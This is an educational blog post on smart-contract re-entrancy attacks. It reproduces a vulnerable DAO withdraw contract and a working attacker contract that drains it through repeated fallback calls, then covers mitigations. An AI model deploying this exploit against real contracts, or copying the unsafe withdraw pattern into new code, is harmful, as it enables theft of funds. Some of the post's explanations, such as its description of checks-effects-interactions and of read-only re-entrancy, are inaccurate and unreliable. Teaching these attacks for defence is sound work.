Web3 Security Concepts: Re-entrancy Attacks

Jammel Weaver
Rektify AI
Published in
4 min readNov 18, 2023

So what is a Re-entrancy Attack?

A re-entrancy attack can typically mean several things. But the most common way of a reentrancy attack being performed is when a vulnerable contract is interrupted. Then it is recalled before it can finish its function. This is often the result of an external call not being completed and an unsynchronized state in said contract call.

What are some examples of a Re-entrancy attack?

Some common examples of the re-entrancy attack occurring have to do with vulnerable smart contracts. Such is the case with the DAO hack. The following code snippet exemplifies what the vulnerable DAO contract might have looked like.

// Code provided by blog.chain.link
contract Dao {
mapping(address => uint256) public balances;

function deposit() public payable {
require(msg.value >= 1 ether, "Deposits must be no less than 1 Ether");
balances[msg.sender] += msg.value;
}

function withdraw() public {
// Check user's balance
require(
balances[msg.sender] >= 1 ether,
"Insufficient funds. Cannot withdraw"
);
uint256 bal = balances[msg.sender];

// Withdraw user's balance
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to withdraw sender's balance");

// Update user's balance.
balances[msg.sender] = 0;
}

function daoBalance() public view returns (uint256) {
return address(this).balance;
}
}

Here we see the vulnerable smart contract code. The critical thing to consider is the withdraw(); function. As previously mentioned, the crucial feature of a re-entrancy attack is an unsynchronized external contract call. The call we are looking for is the sender. The fallback function finishes executing once the balance is zero. Therefore the send function doesn’t execute. This is an example of the unsynchronized call referred to previously. Now, let’s look at how the attacker might exploit this code.

// Code provided by blog.chain.link
interface IDao {
function withdraw() external ;
function deposit()external payable;
}

contract Hacker{
IDao dao;

constructor(address _dao){
dao = IDao(_dao);
}

function attack() public payable {
// Seed the Dao with at least 1 Ether.
require(msg.value >= 1 ether, "Need at least 1 ether to commence attack.");
dao.deposit{value: msg.value}();

// Withdraw from Dao.
dao.withdraw();
}

fallback() external payable{
if(address(dao).balance >= 1 ether){
dao.withdraw();
}
}

function getBalance()public view returns (uint){
return address(this).balance;
}
}

The attacker needs at least 1 ETH to execute and then calls the withdraw function to commence the attack. Here the code keeps calling withdraw within the fallback function. And since the withdraw function does not update, it keeps on executing until the hacker reaches a zero balance. But by then, the DAO has no ETH left.

What are some other types of Re-entrancy attacks?

There are typically 5 types of re-entrancy attacks:

  1. Read Only re-entrancy: An occurrence in which the view function in a smart contract is reentered. The state of the contract is not modified during a read-only reentrancy exploit. So the contract is not modified in any meaningful way.
  2. Single re-entrancy: This only happens when the vulnerable function is the same function the attacker is trying to recursively call. So, if the vulnerable function is, say a withdraw function, the attacker can only really call the vulnerable function.
  3. Cross function re-entrancy: This attack will typically happen when two or more functions share the same state variable but update it insecurely or not in a clean fashion.
  4. Cross contract re-entrancy: This attack happens when a state is updated and called in another contract before it is updated. Often these contracts share state variables, but don't update them in a secure way.
  5. Cross chain re-entrancy: This attack occurs when a contract is on multiple chains and uses a bridge to connect these chains. An attacker can then exploit the logic of the contract in order to create multiple copies of an NFT and make it a fungible token by copying it on multiple chains.

What are some ways to mitigate these attacks?

In the case of the DAO attack, there was a simple way this attack could have been avoided. And that was updating the balance before calling the sender function.

// Code provided by blog.chain.link 

Contract Dao {


function withdraw() public {
// Check user's balance
require(
balances[msg.sender] >= 1 ether,
"Insufficient funds. Cannot withdraw"
);
uint256 bal = balances[msg.sender];

// Update user's balance.
balances[msg.sender] = 0;

// Withdraw user's balance
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to withdraw sender's balance");
}
}

But as far as generalized ways to avoid re-entrancy attacks in general, here are some standard solutions:

  1. Implement the “checks-effects-interactions” software pattern:

Implementing this pattern means that:

  • The code checks that all the conditions are met before executing a function
  • The code makes changes to the state of the contract.
  • The code interacts with other contracts.

In this case, the DAO code needed to check that the balance was zero before executing anything else. By containing the code that fulfills every condition, you ensure any unexpected behavior is dealt with.

2. Put a re-entrancy guard on your code.

There are several useful examples of libraries may include locks and mutex libraries. In the most extreme cases, The OpenZeppelin Reentrancy Guard Library can often guard against some common vulnerabilities regarding re-entrancy.However, it is less foolproof than the CEI pattern.

3. Perform regular audits

Performing regular audits can, in most cases, catch faulty and buggy code. Constantly audit and regularly inspect your code for faults and unexpected behavior.

Conclusion

Re-entrancy attacks are a common vulnerability in the Web3 space, and often they can be dangerous. But by careful vigilance, code auditing, and following design patterns. They can be mitigated and often avoided.

Works Cited

  1. Alchemy. (n.d.). Learn Solidity: What is a reentrancy attack? Alchemy.
  2. Cesaroni, M. (n.d.). Cross-chain re-entrancy. Medium.
  3. Pratap, Z. (2022, August 31). Reentrancy Attacks and The DAO Hack. Chainlink Blog.
  4. Seher, S. (2023, July 4). Reentrancy Attack: Risks, Impact, And Prevention In Smart Contracts. Hacken Blog.
  5. Time, J. (2023, July). Safeguarding Against Re-Entrancy Attacks. LinkedIn Pulse.

--

--